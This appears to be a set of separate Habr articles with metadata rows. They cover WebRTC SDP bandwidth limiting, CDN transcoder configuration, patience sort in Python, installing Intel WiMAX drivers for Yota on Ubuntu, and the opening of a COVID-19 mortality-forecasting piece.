WebRTC — технология интересная, но чуток запутанная. В первую очередь тем, что это не одна технология, а комбайн. Захват видео с камеры и звука с микрофона. Установка peer-to-peer подключения между двумя браузерами с протыканием NAT по мере возможности. Передача звука и видео по этому подключению, с пониманием, что передаются realtime данные: кодеки, пропускная способность, потеря кадров, вот это всё. Ну и, наконец, воспроизведение полученного в окне другого браузера. Или не браузера, это уже как зайдет. Ах да, еще — realtime передача пользовательских данных по той же схеме для игр, датчиков и всего того, где недопустимы лаги tcp websocket. Мы в Voximplant постоянно копаемся в кишках технологии, чтобы у клиентов были качественные звук и видео во всех случаях, а не только по локальной 100-мегабитке. И нам было очень приятно почитать на прошлой неделе интересную статью, которая рассказывает, как в этих кишках правильно копаться. Предлагаем вам тоже почитать адаптированный перевод, специально для Хабра!
WebRTC 1.0 использует [SDP](https://en.wikipedia.org/wiki/Session_Description_Protocol), чтобы узнать возможности двух устанавливающих соединение сторон. Многим не нравится использование протокола из телефонии 90-х, но жестокая реальность такова, что SDP [будет с нами ещё долго](https://webrtchacks.com/tag/ortc/). И если вы хотите залезть в кишки WebRTC действительно глубоко: переключать кодеки, менять ширину канала передачи данных, то вам придется испачкать руки в SDP.
Недавно в Бостоне прошла конференция о WebRTC. Nick Gauthier из [MeetSpace](https://meetspaceapp.com/) рассказал, как он менял SDP и использовал другие трюки, чтобы сделать видеоконференцию на 10 человек. Без единого сервера, то есть каждый браузер отправлял видеопоток 9 другим. Такие задачи возникают нечасто, но возможность ручного контроля за шириной канала WebRTC может быть очень полезна. Видеовыступление можно посмотреть [здесь](https://www.youtube.com/watch?v=X2gLy4QRK9k&feature=youtu.be&list=PLJulS80le865-N8aE3LOTPp84BMUGIuUf). А ниже я расскажу, как он все это делал.
Без нашего вмешательства **PeerConnection** использует всю доступную ширину канала для обеспечения максимального качества видео. Или звука. Что очень круто, если видеоконференция – это единственное, что сейчас делает ваш компьютер. Но что, если вы параллельно пользуетесь GMail? Или у вас мобильное подключение с «плавающей» шириной канала? Или, как у нас в MeetSpace, вы устанавливаете 10-стороннее подключение и **PeerConnection**'ы общаются друг с другом?
В этом посте я хочу показать вам, как можно «на лету» распарсить и модифицировать SDP с помощью JavaScript для установки максимальной ширины используемого канала.
Где модифицировать SDP
----------------------
Сначала нам нужно получить данные SDP. Самый первый пакет SDP создается, когда объект **PeerConnection** создает **Offer**, который вам нужно передать второй договаривающейся о соединении стороне:
```
peerConnection.createOffer(
function(offer) {
console.debug("The offer SDP:", offer.sdp);
peerConnection.setLocalDescription(offer);
// your signaling code to communicate the offer goes here
}
);
```
Что нужно сделать? Модифицировать SDP пакет до того, как мы его передадим второй стороне. Удачно, что WebRTC не включает в стандарт «signaling» и на плечи разработчика ложится задача передачи Offer'ов между двумя устанавливающими соединение сторонами:
```
peerConnection.createOffer(
function(offer) {
peerConnection.setLocalDescription(offer);
// modify the SDP after calling setLocalDescription
offer.sdp = setMediaBitrates(offer.sdp);
// your signaling code to communicate the offer goes here
}
);
```
В коде выше мы вызываем функцию **setMediaBitrates**, которая применит нужные нам модификации и вернет измененный пакет SDP (детали я расскажу чуть позже). Любопытный нюанс: нельзя менять пакет между вызовами **createOffer**/**createAnswer** и **setLocalDescription**. Так что мы поменяем его перед передачей второй договаривающейся стороне. Когда пакет достигнет второй стороны, мы должны будем также поменять второй SDP пакет, который WebRTC на второй стороне создаст как «Answer». Это необходимо, так как «Offer» звучит «Это та ширина канала, которую я могу использовать», но и «Answer» тоже звучит как «А это та ширина канала, которую могу использовать я». Ограничивать надо с обоих концов трубы:
```
peerConnection.setRemoteDescription(new RTCSessionDescription(offer)).then(function() {
peerConnection.createAnswer().then(function(answer) {
peerConnection.setLocalDescription(answer);
// modify the SDP after calling setLocalDescription
answer.sdp = setMediaBitrates(answer.sdp);
// your signaling code to communicate the answer goes here
};
};
```
Теперь, когда мы выбрали места для модификации SDP, можно начинать саму модификацию!
Как распарсить SDP
------------------
Очень рекомендую почитать пост от Antón Román [«Анатомия WebRTC SDP»](https://webrtchacks.com/update-anatomy-webrtc-sdp-anton-roman/), он поможет разобраться, что такое SDP и как он устроен. Именно с этого поста началось мое собственное приключение. Еще рекомендую спецификацию: [RFC 4566 SDP: Session Description Protocol](https://tools.ietf.org/html/rfc4566#page-7). Ссылка приведет вас на 5-ю секцию 7-й страницы, где как раз описан формат. Для тех, кто не любит читать длинные специ, краткая выжимака: SDP представляет собой UTF-8 текст, разбитый на строки вида " = ".
Обратите внимание на важную штуку, спрятанную в глубине 5-й секции документации: порядок указания types. Не буду повторять здесь огромный кусок текста, и снова дам выжимку. В начале SDP есть секция, за которой следуют повторяющиеся «media descriptions». Их порядок всегда будет один и тот же: «m», «i», «c», «b», «k», «a».
Это еще не все. Теперь нужно заглянуть в FC 3556 [Session Description Protocol (SDP) Bandwidth Modifiers for RTP Control Protocol (RTCP) Bandwidth](https://tools.ietf.org/html/rfc3556). В этой спецификации рассказано, как устанавливать ширину канала с помощью «type» со значением «b». Соответствующая строка SDP имеет вид «b=AS:XXX», где XXX — ширина канала, которую мы хотим установить. Акроним «AS» расшифровывается как «Application Specific Maximum», то есть максимальная допустимая ширина канала. Также из RFC мы видим, что значение устанавливается в кило**битах** в секунду, kbps. Итого, наш код будет работать по такому алгоритму:
```
Пропускаем строки, пока не найдем "m=audio" или "m=video"
Пропускаем строки с type "i" и "c"
Если строка имеет type "b", заменяем ее
Если строка имеет другой тип, вставляем строку с type "b"
```
Как модифицировать SDP
----------------------
Для большинства видеозвонков WebRTC в протоколе будет использована media description для видео и media description для звука. В нашем примере мы ограничиваем видеопоток 500kb/s и звуковой поток 50kb/s:
**Посмотреть код**
```
function setMediaBitrates(sdp) {
return setMediaBitrate(setMediaBitrate(sdp, "video", 500), "audio", 50);
}
function setMediaBitrate(sdp, media, bitrate) {
var lines = sdp.split("\n");
var line = -1;
for (var i = 0; i < lines.length; i++) {
if (lines[i].indexOf("m="+media) === 0) {
line = i;
break;
}
}
if (line === -1) {
console.debug("Could not find the m line for", media);
return sdp;
}
console.debug("Found the m line for", media, "at line", line);
// Pass the m line
line++;
// Skip i and c lines
while(lines[line].indexOf("i=") === 0 || lines[line].indexOf("c=") === 0) {
line++;
}
// If we're on a b line, replace it
if (lines[line].indexOf("b") === 0 {
console.debug("Replaced b line at line", line);
lines[line] = "b=AS:"+bitrate;
return lines.join("\n");
}
// Add a new b line
console.debug("Adding new b line before line", line);
var newLines = lines.slice(0, line)
newLines.push("b=AS:"+bitrate)
newLines = newLines.concat(lines.slice(line, lines.length))
return newLines.join("\n")
}
```
Это всё! Честно говоря, я сильно напрягся, когда я первый раз столкнулся с SDP. Подавляющее количество мелких деталей, которые все надо понять. Но по большему счету это всего лишь набор строк, каждая из которых что-нибудь определяет для подключения. Нам не нужны регэкспы, так как секции всегда имеют один и тот же порядок. В нашем случае мы просто заменяли строку с type «b», так что даже парсить ничего не пришлось.
Надеюсь, эта статья поможет вам лучше понять как работает WebRTC и как модифицировать её под свои нужды. | https://habr.com/ru/post/316840/ | null | ru | null |
# Dynamic CDN for Low Latency WebRTC Streaming with Transcoding
In the [first part](https://habr.com/en/company/flashphoner/blog/477304/) we have deployed a simple dynamic CDN for broadcasting WebRTC streams to two continents and have proved on the example of a countdown timer that the latency in this kind of CDN is actually low.
However, besides low latency, it is important to provide good broadcast quality to users. After all, this is what they are paying for. In real life the channels between Edge servers and users can differ in bandwidth capacity and quality. For example, we are publishing a 720p stream at 2 Mbps, the user is playing it on an Android phone using 3G connection in an unstable signal reception area and the 360p maximum resolution that provides smooth picture at 400 Mbps is 360p.
The devices and browsers the viewers are using may differ a lot. For example, we are publishing a WebRTC stream using VP8 codec in Chrome on PC and the viewer is playing the stream in Safari on an iPhone, which supports only H264 codec. Or vice versa, we are publishing an RTMP stream from OBS Studio, coding the video in H264 and the sound in AAC, and the client is using a Chromium-based browser which supports only VP8 or VP9 for the video and Opus for the sound.
We may need as well to enhance the quality of the initial publishing. For example, we are sharing a stream from an IP-camera in a natural park, most of the time the picture is static, and the camera is delivering it at 1 frame per second. However, we want to provide to viewers 24 frames per second. What is to be done, if there is no possibility to replace the camera or modify its settings?
In all these cases we will need to transcode the stream on the server, that is decode each received frame and then encode it with new parameters. Besides, the parameters to be modified are often only known on the client’s side. Let’s have a look at how to achieve transcoding in CDN while keeping a balance between broadcast quality and server load.
Transcoding: how, where and why?
--------------------------------
Assume we are aware of the stream parameters the client wants to receive. For example, the viewer has begun playing the stream, and the number of frame losses in WebRTC statistics tells us that the resolution and bitrate need to be reduced ~~before the client switches to another show~~. In this case. the stream will be transcoded by default on the Edge server the viewer is connected to.
If the client does not support the codec used during stream publishing, the transcoding can be imposed both on Edge and Origin servers.
Both these methods only work as a temporary solution on condition that Origin and/or Edge server configurations are set with a margin. Trascoding is always performed frame by frame, therefore it is very demanding of the CPU resources. Thus, a single CPU core is able to transcode just a small number of streams:
| Resolution | Bitrate, Kbps | Number of streams |
| --- | --- | --- |
| 360p | 1300 | 5 |
| 480p | 1800 | 3 |
| 720p | 3000 | 2 |
Even if we are going to run a single transcoding process for all the users needing equal media stream parameters, it is highly probable that a few viewers with different parameters will entirely consume the server resources.
In this manner, the right decision is to set apart dedicated servers in the CDN to carry out the task of transcoding and choose the server configuration bearing in mind this task.
Adding Transcoder nodes into CDN
--------------------------------
Now, we are going to deploy two Transcoder servers in our CDN: one in the European data center and one in the American.
Setup of Transcoder servers:
* Transcoder 1 EU
```
cdn_enabled=true
cdn_ip=t-eu1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
```
* Transcoder 1 US
```
cdn_enabled=true
cdn_ip=t-us1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
```
Stream transcoding parameters should be described on Edge servers by means of special profiles in the `cdn_profiles.yml` file. As an example, look at the three profiles used by default:
* transcoding to 640x360 resolution, 30 frames per second, the keyframe will be sent every 90 frames, H264 video codec using OpenH264 encoder, Opus 48 kHz audio codec.
```
-640x360:
audio:
codec : opus
rate : 48000
video:
width : 640
height : 360
gop : 90
fps : 30
codec : h264
codecImpl : OPENH264
```
* transcoding to 1280x720 resolution, H264 video codec using OpenH264 encoder, with no audio transcoding.
```
-720p:
video:
height : 720
codec : h264
codecImpl : OPENH264
```
* transcoding to 1280x720 resolution, 30 frames per second, the keyframe will be sent every 90 frames, 2Mbps bitrate, H264 video codec using OpenH264 encoder, with no audio transcoding.
```
-720p-2Mbps:
video:
height : 720
bitrate : 2000
gop : 90
fps : 30
codec : h264
codecImpl : OPENH264
```
Let's publish the 720p `test` stream on the `o-eu1` server and play the stream on `e-eu1` specifying the profile in the stream name, for example, `test-640x360`
The stream is being transcoded!
Now we can describe a number of profiles on Edge servers, for example, -240p, -360p, -480p and, if a large number of lost frames are diagnosed on the client’s side according to WebRTC statistics, we can automatically repeat the request for a lower resolution stream.
Grouping CDN nodes per continents
---------------------------------
Currently we have peer Transcoder servers. But what if we want to transcode the streams based on the geographical spread: for the American viewers in America, for the European viewers in Europe? By the way, this will allow to reduce the load on the transatlantic channels, because the Origin EU server will transmit to America and receive back only the original streams rather than all the variants of transcoded ones.
In this case, it is necessary to specify the required CDN group in the Transcoder node settings
* Transcoder 1 EU
```
cdn_enabled=true
cdn_ip=t-eu1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=EU
```
* Transcoder 1 US
```
cdn_enabled=true
cdn_ip=t-us1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=US
```
Also, the group has to be added to Edge server settings.
* Edge 1-2 EU
```
cdn_groups=EU
```
* Edge 1-2 US
```
cdn_groups=US
```
Let's restart the nodes with new settings. Then, let's publish the 720p `test` stream on the `o-eu1` server and play this stream on `e-eu1` with transcoding.
In order to make sure that the stream is being transcoded on `t-eu`, we have to open the statistics page at <http://t-eu1.flashphoner.com:8081/?action=stat>, and we will see the encoder and the decoder in Native resources section.
Moreover, there are no video encoders on `t-us1` in the statistics.
More transcoders: balancing the load
------------------------------------
Assume the number of viewers keeps increasing and the capacity of one Transcoder server per continent is not enough anymore. Great, let’s add one more server for each continent.
* Transcoder 2 EU
```
cdn_enabled=true
cdn_ip=t-eu2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=EU
```
* Transcoder 2 US
```
cdn_enabled=true
cdn_ip=t-us2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=US
```
Now, however, we experience the issue of balancing the load between two transcoders. To avoid transmitting all the streams through one server, we are going to set the threshold for the maximum allowable CPU load average on Transcoder nodes.
```
cdn_node_load_average_threshold=0.95
```
When the CPU load average divided by the number of available cores will reach this threshold, the server will stop accepting requests for transcoding new streams.
We can also set a limit to the maximum allowable number of simultaneously running video encoders.
```
cdn_transcoder_video_encoders_threshold=10000
```
When this number is reached, the server will also stop accepting requests for stream transcoding, even if the CPU load still allows it.
Anyway, Transcoder server will keep sharing the streams that are being transcoded on it to Edge servers.
To be concluded
---------------
To sum up, we have deployed in our CDN dedicated servers for transcoding media streams and, thus, are able to provide good broadcast quality to our viewers depending on the capabilities of their devices and the quality of the channels. However, we have not touched upon the subject of stream access restriction yet. We will have a look at this in the final part.
Related links
-------------
[CDN for low latency WebRTC streaming](https://flashphoner.com/cdn-for-low-latency-webrtc-streaming) — Web Call Server-based content delivery network. | https://habr.com/ru/post/477876/ | null | en | null |
# Пасьянсная сортировка
[](https://habr.com/post/431094/)
В комментариях к предыдущим статьям изредка раздаются упрёки — зачем вообще изучать какие-либо другие сортировки, если уже есть самая быстрая в мире Quick sort. Мол-де, вся эта вычурная экзотика не имеет применения и никому не нужна.
[Перси Дьяконис](https://en.wikipedia.org/wiki/Persi_Diaconis), вдоль и поперёк изучивший пасьянсную сортировку, считает, что она является быстрейшим способом ручного упорядочивания колоды карт.
Так что, если уважаемый математик (и бывалый карточный фокусник) не врёт, то с практической ценностью алгоритма всё в порядке.
А теперь следите за руками.
Этап 1. Раскладываем по стопкам
===============================
Итак, возьмём из колоды черви. Они будут изображать массив из тринадцати случайных элементов.
Нам нужно разложить карты в несколько стопок, таким образом, чтобы в каждой стопке карты представляли из себя упорядоченную последовательность.
Другими словами, наша задача на этом этапе — из имеющегося неотсортированного массива быстро создать несколько упорядоченных подмассивов. При этом крайне желательно, чтобы количество этих подмассивов были поменьше, а значит нужно стремиться к тому, чтобы подмассивы были подлиннее. Делается это следующим образом.
Первая карта — начало первой стопки.
В эту стопку перекладываем карты по очереди, до тех пор, пока очередная перекладываемая карта меньше чем верхняя в стопке.
При этом каждая стопка является стеком — мы работаем не со всей стопкой, а только с верхней картой в ней, которую положили последней.
Если текущая карта больше чем минимальная в стопке, значит, придётся создавать новую кучку, текущая карта открывает новую стопку.
Очерёдность стопок важна! Если их количество уже более одного, то очередную карту мы кладём не в последнюю стопку, а в самую левую стопку, в которую можем положить.
Вот сейчас после дамы надо куда-то пристроить девятку. Механически хочется положить карту во вторую стопку, но в первой стопке верхняя карта больше девятки. Значит, можем продолжить первую стопку, не нарушив её упорядоченность. Следующую тройку, которая идёт следом за девяткой, тоже кстати, отправляется в первую стопку.
Семёрку и шестёрку в первую стопку добавить нельзя (они больше верхней карты в ней), но во второй стопке им пока находится место.
Туз начинает новую стопку. Оставшаяся мелочь попадает в разные лотки, в зависимости от того, насколько левее была стопка, куда можно было вставить.
В итоге карты разложены в несколько стопок. В каждой стопке карты представляют из себя убывающую последовательность, вверху — наименьшая карта. Стопки являются стеками.
Так как мы старались сначала заполнять те стопки, что находились левее, у нас образовалось наименьшее возможно количество. Если бы мы просто прошлись по массиву и выделяли из него убывающие подмассивы, то кучек, естественно будет полчаться намного больше.
Этап 2. Нижний ряд
==================
Сдвинем доступные верхние карты немного вниз, чтобы они встали в отдельный ряд. Если стопки являются стеками, то с нижним рядом будем работать как с очередью.
Что немаловажно — доступные верхние карты в стопках также представляют из себя упорядоченную последовательность. Нижний ряд уже отсортирован по возрастанию. Что и немудрено — при формировании стопок карты поменьше отправлялись как можно левее.
В дальнейшем до конца сортировки нас интересуют не все карты из тех что разложены на столе. Нужны только вот эти:
* Самая левая карта (назовём её — текущая) в нижнем ряду-очереди.
* В стопках-стеках работаем только с верхними доступными картами. При этом нужны только те стопки, которые находятся непосредственно на текущей картой и левее. Стопки которые находятся правее в этот момент не нужны.
В нижнем ряду перебираем карты слева-направо карты. Самая лева — текущий минимум, его возвращаем в первоначальный верхний ряд. При этом каждый раз, когда мы вернули на базу очередную карту, необходимо на её место положить другую. Откуда её взять? Из тех стопок что находятся над текущей картой и левее её — среди доступных карт выбирается минимум, который перемещается на вакантное место текущей левой карты в нижнем ряду, а оттуда — в основной массив.
Двойка в массив возвращается сразу. Освободившееся место занимает тройка (перемещаем её из первой стопки в нижний ряд), а из нижнего ряда тройка как текущий минимум уходит в основной массив. В первых двух стопках ищется снова минимум — это четвёрка — которая тоже отправляется домой. Текущим минимумом становится пятёрка и т.д.
Комбинируя работу с упорядоченной по возрастанию очередью и упорядоченными по убыванию стеками очень быстро получаем все элементы от минимального до максимального. Как-то так, в общем.
Анимация данного процесса.
Если всё вышеуказанное перевести на Python, то получится вот это:
```
from functools import total_ordering
from bisect import bisect_left
from heapq import merge
@total_ordering
class Pile(list):
def __lt__(self, other): return self[-1] < other[-1]
def __eq__(self, other): return self[-1] == other[-1]
def patience_sort(n):
piles = []
# sort into piles
for x in n:
new_pile = Pile([x])
i = bisect_left(piles, new_pile)
if i != len(piles):
piles[i].append(x)
else:
piles.append(new_pile)
# use a heap-based merge to merge piles efficiently
n[:] = merge(*[reversed(pile) for pile in piles])
```
Ссылки
------
[ Patience sorting](https://en.wikipedia.org/wiki/Patience_sorting) ([Google-translate](https://translate.google.com.ua/translate?sl=en&tl=ru&js=y&prev=_t&hl=ru&ie=UTF-8&u=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FPatience_sorting&edit-text=&act=url))
[ Patience sorting source](https://rosettacode.org/wiki/Sorting_algorithms/Patience_sort)
[ Princeton CS: Longest increasing subsequence](https://www.cs.princeton.edu/courses/archive/spring13/cos423/lectures/LongestIncreasingSubsequence.pdf)
[ Combinatorics of patience sorting piles](http://www.emis.ams.org/journals/SLC/wpapers/s54Aburlank.pdf) ([Google-translate](https://translate.google.com.ua/translate?sl=en&tl=ru&js=y&prev=_t&hl=ru&ie=UTF-8&u=http%3A%2F%2Fwww.emis.ams.org%2Fjournals%2FSLC%2Fwpapers%2Fs54Aburlank.pdf&edit-text=&act=url))
[Вики-конспекты: терпеливая сортировка](https://neerc.ifmo.ru/wiki/index.php?title=%D0%A2%D0%B5%D1%80%D0%BF%D0%B5%D0%BB%D0%B8%D0%B2%D0%B0%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)
[Word Aligned](http://wordaligned.org/articles/patience-sort.html) ([Google-translate](https://translate.google.com.ua/translate?sl=en&tl=ru&js=y&prev=_t&hl=ru&ie=UTF-8&u=http%3A%2F%2Fwordaligned.org%2Farticles%2Fpatience-sort.html&edit-text=&act=url))
### Статьи серии:
* [Excel-приложение AlgoLab.xlsm](https://habr.com/post/414447/)
* [Сортировки обменами](https://habr.com/post/414653/)
* [Сортировки вставками](https://habr.com/post/415935/)
+ [Сортировка библиотекаря](https://habr.com/post/416653/)
+ **Пасьянсная сортировка**
+ [Сортировка «Ханойская башня»](https://habr.com/post/431694/)
+ [Сортировка выворачиванием](https://habr.com/ru/post/504012/)
+ Сортировка таблицей Юнга
* [Сортировки выбором](https://habr.com/post/422085/)
* [Сортировки слиянием](https://habr.com/post/431964/)
* [Сортировки распределением](https://habr.com/ru/post/472466/)
* [Гибридные сортировки](https://habr.com/ru/post/483786/)
В приложении AlgoLab эта сортировка теперь активна. При этом визуализация возможна в двух режимах: в виде карт (режим по умолчанию) и просто в виде чисел. Однако для карточного стиля нужно чтобы разница между максимальным и минимальным элементом в массиве была меньше чем 54 (количество карт в колоде, включая два джокера). Если это условие не выполняется или же карточный режим вовсе выключен (для этого в комментарии к ячейке с названием сортировки нужно прописать card=0), то визуализация будет в виде унылых цифр.
Масти рассматриваются в порядке преферансного старшинства: пики < трефы < бубны < червы.
То есть *любая* карта бубновой масти бубна больше *любой* карты трефовой масти, *любая* карта червовой масти больше *любой* карты пиковой масти и т.п. Если провести аналогию с числами, то пики — это от 0 до 9, трефы — от 10 до 19, бубны — от 20 до 29, червы — от 30 до 39 (да, конечно, внутри масти количество карт не равно ровно десяти, но вы поняли, что имеется ввиду). Что касается старшинства *внутри масти*, то оно будет обычное: от двойки до туза. Можно ещё взять джокеров, которые старше всех остальных карт. При этом красный джокер весомее чёрного.
> [](https://www.edsd.com/ "EDISON Software - web-development")
>
> Статья написана при поддержке компании EDISON Software, которая профессионально занимается [разработкой для web](https://www.edsd.com/portfolio/software-development) и недавно сделала [редизайн своего сайта](https://www.edsd.com/) | https://habr.com/ru/post/431094/ | null | ru | null |
# WimaxYota для 2.6.31-14-generic (netbook Remix ubuntu 9.10, intel 5150)
Итак, я перепробовал множество мануалов для поднятия Йоты, и у меня ничего не получилось. Пришлось все равно додумывать за авторов и править ручками. И вот он, готовый ман для поднятия йоты без проблем.
**Все операции под тегом `Код` выполняем последовательно!**
1- Ставим пакет libnl-dev, необходимый для WiMAX-Network-Service'а
`apt-get install libnl-dev`
2- Перезагружаемся
3- Радуемся. Интел радушно даровал нам дрова на ваймакс под линь. Качаем с помощью wget'а или с сайта производителя.
[Сайт с исходниками](http:///www.linuxwimax.org/)
`wget 'http://www.linuxwimax.org/Download?action=AttachFile&do=get⌖=wimax-i2400m-1.4.1.tar.bz2'`
`wget 'http://www.linuxwimax.org/Download?action=AttachFile&do=get⌖=i2400m-fw-1.4.0.tar.bz2'`
`wget 'http://www.linuxwimax.org/Download?action=AttachFile&do=get⌖=WiMAX-Network-Service-1.4.0.tar.bz2'`
`wget 'http://www.linuxwimax.org/Download?action=AttachFile&do=get⌖=Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2'`
4- При скачке wget'oм исходники называются криво и длинно. Переименовываем.
`mv 'Download?action=AttachFile&do=get⌖=wimax-i2400m-1.4.1.tar.bz2' 'wimax-i2400m-1.4.1.tar.bz2'`
`mv 'Download?action=AttachFile&do=get⌖=i2400m-fw-1.4.0.tar.bz2' 'i2400m-fw-1.4.0.tar.bz2'`
`mv 'Download?action=AttachFile&do=get⌖=WiMAX-Network-Service-1.4.0.tar.bz2' WiMAX-Network-Service-1.4.0.tar.bz2`
`mv 'Download?action=AttachFile&do=get⌖=Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2' Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2`
5- Распоковываем исходники. Следите за путем.
`tar -xvjf 'wimax-i2400m-1.4.1.tar.bz2' --directory /usr/src`
`tar -xvjf 'i2400m-fw-1.4.0.tar.bz2' --directory /usr/src`
`tar -xvjf 'WiMAX-Network-Service-1.4.0.tar.bz2' --directory /usr/src`
`tar -xvjf 'Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2' --directory /usr/src`
6- Ставим wimax-i2400m.
`cd /usr/src/wimax-i2400m-1.4.1`
`make` // Если мейку что то не нравится, пропускаем его.
`make install`
`depmod -a`
7- Копируем firmware по назначению.
`cd /usr/src/i2400m-fw-1.4.0`
`cp i2400m-fw-usb-1.4.sbcf /lib/firmware/i2400m-fw-usb-1.4.sbcf`
8- Ставим обвязку драйвера (без нее не будет работать демон ваймакса в последующем)
`cd /usr/src/WiMax-Network-Service-1.4.0` // Если команда не работает — cd /usr/src/ затем ls, затем cd и скопированное название папки с Нетворк сервисом
`./configure --prefix=/usr/ --with-i2400m=/usr/src/wimax-i2400m-1.4.1 --localstatedir=/var --enable-debug`
`make`
`make install`
9- Ставим супликант
`cd /usr/src/Intel-WiMAX-Binary-Supplicant-1.4.0`
`./install_supplicant.sh install`
Далее в большинстве манов ошибка при копировании суппликанта из /usr/local/lib в /usr/lib
Правильная команда копирования — `cp -r /usr/local/lib/wimax /usr/lib`
10- Подгружаем конфиги Йоты
`wget icelord.net/images/wimax/NDnSAgentConfig_forDriver.xml`
`wget icelord.net/images/wimax/NDnSAgentDefaultConfig.xml`
И копируем к ваймаксу
`cp NDnSAgentConfig_forDriver.xml /usr/share/wimax/NDnSAgentConfig_forDriver.xml`
`cp NDnSAgentDefaultConfig.xml /usr/share/wimax/NDnSAgentDefaultConfig.xml`
Перезагружаемся, и начинаем подключение к Йоте
1- `/usr/bin/wimaxd` //Запускаем демона
2- `/usr/bin/wimaxcu ron` //Переключаемся в режим Ваймакса. Вайфай соединение обрубается
3- `/usr/bin/wimaxcu connect network 15` //Коннектимся к Йоте
Остальные полезные команды
`/usr/bin/wimaxcu roff` Переключение в режим вайфай
`wimaxcu scan` Скан ваймакс сетей. Вы должны быть отключены от йоты для этой команды
`wimaxcu info device` Инфа о модуле ваймакса
`wimaxcu status link` Информация о коннекте (сигнал, качество сигнала и тд)
[alkosasha](https://habrahabr.ru/users/alkosasha/) Советует еще одну полезную команду — `wimaxcu connectmode connect auto` — это позволить автоматически подключаться к сети после загрузки WiMAX Network Service(wimaxd)
Надеюсь ман съэкономит нервы людям, которые на линуксе недавно.
**UPD- Обновился до 2.6.31-16-generic (хотя я не думаю что большие отличия от предыдущей верси) и все работает. Подключаем так же, как в мане** | https://habr.com/ru/post/77385/ | null | ru | null |
# Коронавирус: мы все умрём?
*Что мы говорим Богу смерти? — Не сегодня.
Сирио Форель, сериал «Игра престолов».*
Насколько действительно опасен коронавирус COVID-19? Сколько людей умрёт от коронавируса в мире? А сколько – в России? Так ли необходимы жесткие меры, принимаемые для борьбы с коронавирусом в большинстве стран мира? Что принесет больше ущерба: смерть людей от коронавируса или падение экономики, вызванное ограничительными мерами?
Чтобы ответить на эти актуальные вопросы, необходимо провести математическое моделирование и спрогнозировать ущерб от коронавируса для отдельных стран и для мира в целом. Построению таких прогнозов посвящена данная статья.
Чтобы сделать материал доступным для всех читателей, в начале статьи мы сконцентрируемся на качественном анализе, и красивых картинках. А в самом конце для интересующихся приведем исходный код для расчетов, выполненных на языке Python.
> ### Минутка заботы от НЛО
>
>
>
> В мире официально объявлена пандемия COVID-19 — потенциально тяжёлой острой респираторной инфекции, вызываемой коронавирусом SARS-CoV-2 (2019-nCoV). На Хабре много информации по этой теме — всегда помните о том, что она может быть как достоверной/полезной, так и наоборот.
>
>
>
> #### Мы призываем вас критично относиться к любой публикуемой информации
>
>
>
> **Официальные источники*** [Cайт Министерства здравоохранения РФ](https://covid19.rosminzdrav.ru/)
> * [Cайт Роспотребнадзора](https://www.rospotrebnadzor.ru/about/info/news_time/news_details.php?ELEMENT_ID=13566)
> * [Сайт ВОЗ (англ)](https://www.who.int/emergencies/diseases/novel-coronavirus-2019)
> * [Сайт ВОЗ](https://www.who.int/ru/emergencies/diseases/novel-coronavirus-2019)
> * Сайты и официальные группы оперативных штабов в регионах
>
>
>
> Если вы проживаете не в России, обратитесь к аналогичным сайтам вашей страны.
>
> Мойте руки, берегите близких, по возможности оставайтесь дома и работайте удалённо.
>
>
>
> Читать публикации про: [коронавирус](https://habr.com/ru/search/?target_type=posts&q=%5B%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%5D&order_by=date) | [удалённую работу](https://habr.com/ru/search/?target_type=posts&q=%5B%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%5D&order_by=date)
### Считаем только смерти
Заметим, что ущерб от COVID-19 мы будем оценивать в количестве человеческих смертей, связанных с этим заболеванием. Прогнозированию количества умерших от коронавируса будет посвящена большая часть статьи. Мы вообще отказались от рассмотрения количества заболевших коронавирусом и прогнозирования их числа. Тому есть несколько причин. Главная состоит в том, что невозможно сопоставить статистику по количеству заболевших COVID-19 в разных странах. В одних странах методы экспресс-тестирования доступны гораздо больше, чем в других. В одних странах проводится практически поголовная проверка населения, а в других проверяют только людей с выраженными симптомами. Учитывая, что в значительном количестве случаев заболевание проходит практически бессимптомно, мы видим огромный разброс в количестве умерших среди заболевших: от менее чем 0,5% до более чем 3,5%.
Скорее всего, в значительной степени разброс в данных по смертности обусловлен в качестве выявления заболевших COVID-19.
Статистика смертности в данном случае выглядит гораздо более надежно. Естественно, мы можем сталкиваться как с занижением количества смертей, когда причиной смерти указывается не коронавирус, а сопутствующее заболевание, так и наоборот, завышения, когда COVID-19 диагностируется ошибочно, а человек умирает, например, от сезонного гриппа. Однако можно ожидать, что статистика по смертям более достоверна, т.к. бессимптомное заболевание с высокой степенью вероятности может вообще пройти мимо внимания специалистов, а каждый случай смерти медики вынуждены анализировать.
Также заметим, что реальный ущерб обществу причиняет смерть его членов, а не легкое заболевание, которое относительно быстро проходит.
### Вы думали, миром правит экспонента? А вот и нет!
Как только мы начинаем прогнозировать количество смертей, сразу сталкиваемся с первым мифом: от коронавируса умрут десятки, а то и сотни миллионов человек. Этот миф основан на убеждении, что миром правит экспонента. Взгляните на график.
На нём изображено количество умерших от COVID-19 в Китае по состоянию на 7 февраля. Если мы построим на основе этого графика прогноз, используя экспоненциальную функцию, то получим, что уже к 29 февраля в Китае должно было бы умереть 50 миллионов человек!
А сколько умерло в действительности? 2837 человек. Откуда такая колоссальная разница?
